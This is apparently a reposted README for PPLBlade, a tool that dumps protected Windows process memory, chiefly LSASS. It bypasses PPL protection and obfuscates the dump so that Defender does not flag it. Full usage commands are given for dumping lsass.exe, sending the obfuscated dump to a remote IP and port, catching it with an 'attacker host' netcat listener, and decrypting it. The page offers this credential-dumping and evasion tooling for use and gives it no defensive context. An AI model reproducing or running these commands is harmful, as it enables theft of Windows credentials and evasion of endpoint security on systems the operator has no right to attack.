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PPLBlade – Protected Process Dumper Tool

Çağlar Arlı      -    22 Views

PPLBlade – Protected Process Dumper Tool


Protected Process Dumper Tool that support obfuscating memory dump and transferring it on remote workstations without dropping it onto the disk.

Key functionalities:

  1. Bypassing PPL protection
  2. Obfuscating memory dump files to evade Defender signature-based detection mechanisms
  3. Uploading memory dump with RAW and SMB upload methods without dropping it onto the disk (fileless dump)

Overview of the techniques, used in this tool can be found here: https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6

Note that PROCEXP15.SYS is listed in the source files for compiling purposes. It does not need to be transferred on the target machine alongside the PPLBlade.exe.

It’s already embedded into the PPLBlade.exe. The exploit is just a single executable.

Modes:

  1. Dump - Dump process memory using PID or Process Name
  2. Decrypt - Revert obfuscated(--obfuscate) dump file to its original state
  3. Cleanup - Do cleanup manually, in case something goes wrong on execution (Note that the option values should be the same as for the execution, we're trying to clean up)
  4. DoThatLsassThing - Dump lsass.exe using Process Explorer driver (basic poc)

Handle Modes:

  1. Direct - Opens PROCESS_ALL_ACCESS handle directly, using OpenProcess() function
  2. Procexp - Uses PROCEXP152.sys to obtain a handle
Examples:

Basic POC that uses PROCEXP152.sys to dump lsass:

PPLBlade.exe --mode dothatlsassthing

(Note that it does not XOR dump file, provide an additional obfuscate flag to enable the XOR functionality)

Upload the obfuscated LSASS dump onto a remote location:

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

Attacker host:

nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp

Deobfuscate memory dump:

PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade